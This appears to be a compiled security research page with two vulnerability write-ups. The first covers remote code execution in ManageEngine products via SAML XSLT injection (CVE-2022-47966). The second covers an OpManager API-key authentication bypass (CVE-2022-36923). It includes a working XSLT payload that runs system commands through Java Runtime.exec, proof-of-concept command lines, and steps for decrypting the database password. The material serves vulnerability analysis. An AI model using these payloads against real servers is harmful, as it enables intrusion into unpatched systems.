ManageEngine CVE-2022-47966 Technical Deep Dive

ManageEngine CVE-2022-47966 Technical Deep Dive #windows #research #xml #saml #CVE-2022-47966 #ManageEngine

Original text by James Horseman

Introduction

On January 10, 2023, ManageEngine released a security advisory for CVE-2022-47966 (discovered by Khoadha of Viettel Cyber Security) affecting a wide range of products. The vulnerability allows an attacker to gain remote code execution by issuing a HTTP POST request containing a malicious SAML response. This vulnerability is a result of  using an outdated version of Apache Santuario for XML signature validation.

Patch Analysis

We started our initial research by examining the differences between ServiceDesk Plus version 14003 and version 14004. By default, Service Desk is installed into

C:\Program Files\ManageEngine\ServiceDesk

. We installed both versions and extracted the jar files for comparison.

While there are many jar files that have been updated, we notice that there was a single jar file that has been completely changed.

libxmlsec

from Apache Santuario was updated from 1.4.1 to 2.2.3. Version 1.4.1 is over a decade old.

Jar differences

That is a large version jump, but if we start with the 1.4.2 release notes we find an interesting change:

  • Switch order of XML Signature validation steps. See Issue 44629.

Issue 44629 can be found here. It describes switching the order of XML signature validation steps and the security implications.

XML Signature Validation

XML signature validation is a complex beast, but it can be simplified down to the the following two steps:

  • Reference Validation – validate that each
<Reference>

element within the

<SignedInfo>

  • element has a valid digest value.
  • Signature Validation – cryptographically validate the 
<SignedInfo>

element. This assures that the

<SignedInfo>
  • element has not been tampered with.

While the official XML signature validation spec lists reference validation followed by signature validation, these two steps can be performed in any order. Since the reference validation step can involve processing attacker controlled XML

Transforms

, one should always perform the signature validation step first to ensure that the transforms came from a trusted source.

SAML Information Flow Refresher

Applications that support single sign-on typically use an authorization solution like SAML. When a user logs into a remote service, that service forwards the authentication request to the SAML Identity Provider. The SAML Identity Provider will then validate that the user credentials are correct and that they are authorized to access the specified service. The Identity Provider then returns a response to the client which is forwarded to the Service Provider.

The information flow of a login request via SAML can been seen below. One of the critical pieces is understanding that the information flow uses the client’s browser to relay all information between the Service Provider (SP) and the Identity Provider (IDP). In this attack, we send a request containing malicious SAML XML directly to the service provider’s Assertion Consumer (ACS) URL.

Information flow via https://cloudsundial.com/

The Vulnerability

Vulnerability Ingredient 1: SAML Validation Order

Understanding that SAML information flow allows an attacker to introduce or modify the SAML data in transit, it should now be clear why the Apache Santuario update to now perform signature validation to occur before reference validation was so important. This vulnerability will abuse the verification order as the first step in exploitation. See below for the diff between v1.4.1 and v.1.4.2.

1.4.1 vs 1.4.2

In v1.4.1, reference validation happened near the top of the code block with the call to

si.verify()

. In v1.4.2, the call to

si.verify()

was moved to the end of the function after the signature verification in

sa.verify(sigBytes).

Vulnerability Ingredient 2: XSLT Injection

Furthermore, each 

<Reference>

element can contain a

<Transform>

element responsible for describing how to modify an element before calculating its digest. Transforms allow for arbitrarily complex operations through the use of XSL Transformations (XSLT).

These transforms are executed in

src/org/apache/xml/security/signature/Reference.java

which is eventually called from

si.verify()

from above.

Reference transforms

XSLT is a turing-complete language and, in the ManageEngine environment, it is capable of executing arbitrary Java code. We can supply the following snippet to execute an arbitrary system command:

<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
        <xsl:template match="/">
            <xsl:variable name="rtobject" select="rt:getRuntime()"/>
            <xsl:variable name="process" select="rt:exec($rtobject,'{command}')"/>
            <xsl:variable name="processString" select="ob:toString($process)"/>
            <xsl:value-of select="$processString"/>
        </xsl:template>
    </xsl:stylesheet>
</ds:Transform>

Abusing the order of SAML validation in Apache Santuario v1.4.1 and Java’s XSLT library providing access to run arbitrary Java classes, we can exploit this vulnerability in ManageEngine products to gain remote code execution.

SAML SSO Configuration

Security Assertion Markup Language (SAML) is a specification for sharing authentication and authorization information between an application or service provider and an identity provider. SAML with single sign on allows users to not have to worry about maintaining credentials for all of the apps they use and it gives IT administrators a centralized location for user management.

SAML uses XML signature verification to ensure the secure transfer of messages passed between service providers and identity providers.

We can enable SAML SSO by navigating to

Admin -> Users & Permissions -> SAML Single Sign On

where we can enter our identity provider information. Once properly configured, we will see “Log in with SAML Single Sign On” on the logon page:

Service Desk SAML logon

Proof of Concept

Our proof of concept can be found here.

After configuring SAML, the Assertion Consumer URL will now be active at

https://<hostname>:8080/SamlResponseServlet

and we can send our malicious SAML Response.

python3 CVE-2022-47966.py --url https://10.0.40.64:8080/SamlResponseServlet --command notepad.exe

Since ServiceDesk runs as a service, there is no desktop to display the GUI for

notepad.exe

so we use ProcessExplorer to check the success of the exploit.

Notepad running

This proof of concept was also tested against Endpoint Central and we expect this POC to work unmodified on many of the ManageEngine products that share some of their codebase with ServiceDesk Plus or EndpointCentral.

Notably, the AD-related products (AdManager, etc) have additional checks on the SAML responses that must pass. They perform checks to verify that the SAML response looks like it came from the expected identity provider. Our POC has an optional

--issuer

argument to provide information to use for the

<Issuer>

element. Additionally, AD-related products have a different SAML logon endpoint URL that contains a guid. How to determine this information in an automated fashion is left as an exercise for the reader.

python3 CVE-2022-47966.py --url https://10.0.40.90:8443/samlLogin/<guid> --issuer https://sts.windows.net/<guid>/ --command notepad.exe

Summary

In summary, when Apache Santuario is <= v1.4.1, the vulnerability is trivially exploitable and made possible via several conditions:

  • Reference validation is performed before signature validation, allowing for the execution of malicious XSLT transforms.
  • Execution of XSLT transforms allows an attacker to execute arbitrary Java code.

This vulnerability is still exploitable even when Apache Santuario is between v1.4.1 and v2.2.3, which some of the affected ManageEngine products were using at the time, such as Password Manager Pro. The original research, Khoadha, documents further bypasses of validation in their research and is definitely worth a read.

CVE-2022-36923 ManageEngine OpManager getUserAPIKey Authentication Bypass

CVE-2022-36923 Detail

origianl text by 4er 

Intro:

ManageEngine offers enterprise IT management software for your service management, operations management, Active Directory and security needs.

CVE-2022-36923 ManageEngine OpManager getUserAPIKey Authentication Bypass
CVE-2022-35405 Zoho Password Manager Pro XML-RPC RCE
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE to RCE
CVE-2021-44077 Zoho ManageEngine ServiceDesk Plus Pre-Auth RCE
CVE-2020-10189 Zoho ManageEngine Desktop Central deserialize RCE

According to ZDI’s announcement , the vulnerability exists


<strong>com.adventnet.me.opmanager.server.util.RMMUtil#getUserAPIKey</strong>

The key point is how to get to this position.

Search the xml configuration file to find

The route is 

/RestAPI/getAPIKey
, try to construct the request packet

Prompt missing parameters, see the log to report an error

The IAMSecurityException breakpoint hits its constructor and traces back up, and finally 

com.adventnet.iam.security.ParameterRule#checkForAllowedValueRegex
found that an exception was thrown because the parameter regular matching was incorrect.

The final construction parameter successfully returns 200

look back now

<strong>com.adventnet.me.opmanager.server.util.RMMUtil#getUserAPIKey</strong>


    public String getUserAPIKey(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String userName = request.getParameter("username");
        String domainName = request.getParameter("domainname");
        if (userName != null &amp;&amp; domainName != null) {
            try {
                Long userId = MickeyLiteUtil.getUserId(userName, domainName);
                String apiKey = (new APIKeyGenerator()).checkAndGenerateApiKey(userId, -1L);
                response.setContentType("text/plain");
                PrintWriter out = response.getWriter();
                out.println(apiKey);
                out.flush();
                return null;
            } catch (Exception var8) {
                var8.printStackTrace();
                return null;
            }
        } else {
            return null;
        }
    }

MickeyLiteUtil.getUserId()

You need to give a correct domainName, it depends on what value is in the AaaLogin table in the database.

View database jdbc link

<strong>C:\Program Files\ManageEngine\OpManager\conf\database_params.conf</strong>

The password is encrypted and found in the bin directory

<strong>bin\encrypt.bat</strong>


call .\setCommonEnv.bat

set CLASS_PATH="%SERVER_HOME%\lib\framework-tools.jar"

IF "%1"=="" GOTO SHOW_SYNTAX

"%JAVA%"  -Dserver.home="%SERVER_HOME%" -cp %CLASS_PATH% com.zoho.framework.utils.crypto.CryptoUtil %*
GOTO END_ENCRYPT

:SHOW_SYNTAX
"%JAVA%" -Dserver.home="%SERVER_HOME%" -cp %CLASS_PATH% com.zoho.framework.utils.crypto.CryptoUtil "showUsage"

:END_ENCRYPT

Call the CryptoUtil class for encryption

Write a class directly to call the decrypt function

cryptTag is 

<strong>EnDecryptUtil.getCryptTag()</strong>
obtained by

Parse the persistence-configurations.xml file to get the CryptTag attribute and view the file content

Attempt to 

<strong>MLITE_ENCRYPT_DECRYPT</strong>
decrypt unsuccessfully, and then found that an external entity was introduced at the top of the xml file

Finally 

<strong>conf\customer-config.xml</strong>
found the CryptTag in the file

The algorithm is AES256. After decryption, link to the database and check the AaaLogin table.

The domainName is obtained 

<strong>-</strong>
, and the final request package is as follows

Get restapi from this

The rce method looked at the restapi documentation. There is a workflow that can be used for rce, but there is a problem with accessing through restapi.

<strong>OpManagerServerClasses.jar!/com/adventnet/me/opmanager/server/api/OpManagerAPIServlet.class:354</strong>

If your api is 

<strong>APIUtil.getInstance().isInternalAPI()</strong>
an internal api, the isAPIClient in the session will only be assigned when you log in, so this place isApiclient is false, and NmsUtil.isRMMEdition is false, causing an exception to be thrown 
APIError.internalAPI(request, response)
then all internal apis cannot be called.

The 

conf\OpManager\do\RestApi.xml
key APIs that define the workflow are 
<strong><em>EXPOSED_API=TRUE</em></strong>
the internal APIs.

At this point, the rce is broken. I traced back the 

isInternalAPI()
function and found that all the APIs are in the database 
<strong><em>OpManagerDB.public.restapioperation</em></strong>
table. After filtering 
<strong>exposed_api='true'</strong>
, a total of 955 APIs can be accessed through restapi.

I looked at it and saw that nothing was added, deleted, modified, and checked. I hope someone who is destined can dig out a rce.

Replenish

My colleague looked at the cve injected by the other two commands of opmanager and found that it should be possible to string rce together. see colleagues’ articles

ZOHO ManageEngine OpManager Two RCEs

The writing is rubbish, the wording is frivolous, the content is simple, and the operation is unfamiliar. The deficiencies are welcome to give pointers and corrections from the masters, and I am grateful.


CVE-2022-36923 Detail

Current Description

Zoho ManageEngine OpManager, OpManager Plus, OpManager MSP, Network Configuration Manager, NetFlow Analyzer, Firewall Analyzer, and OpUtils before 2022-07-27 through 2022-07-28 (125657, 126002, 126104, and 126118) allow unauthenticated attackers to obtain a user’s API key, and then access external APIs.


Zoho ManageEngine OpManager, OpManager Plus, OpManager MSP, Network Configuration Manager, NetFlow Analyzer, Firewall Analyzer, and OpUtils before 2022-07-27 through 2022-07-28 (125657, 126002, 126104, and 126118) allow unauthenticated attackers to obtain a user’s API key, and then access external APIs.

Y4er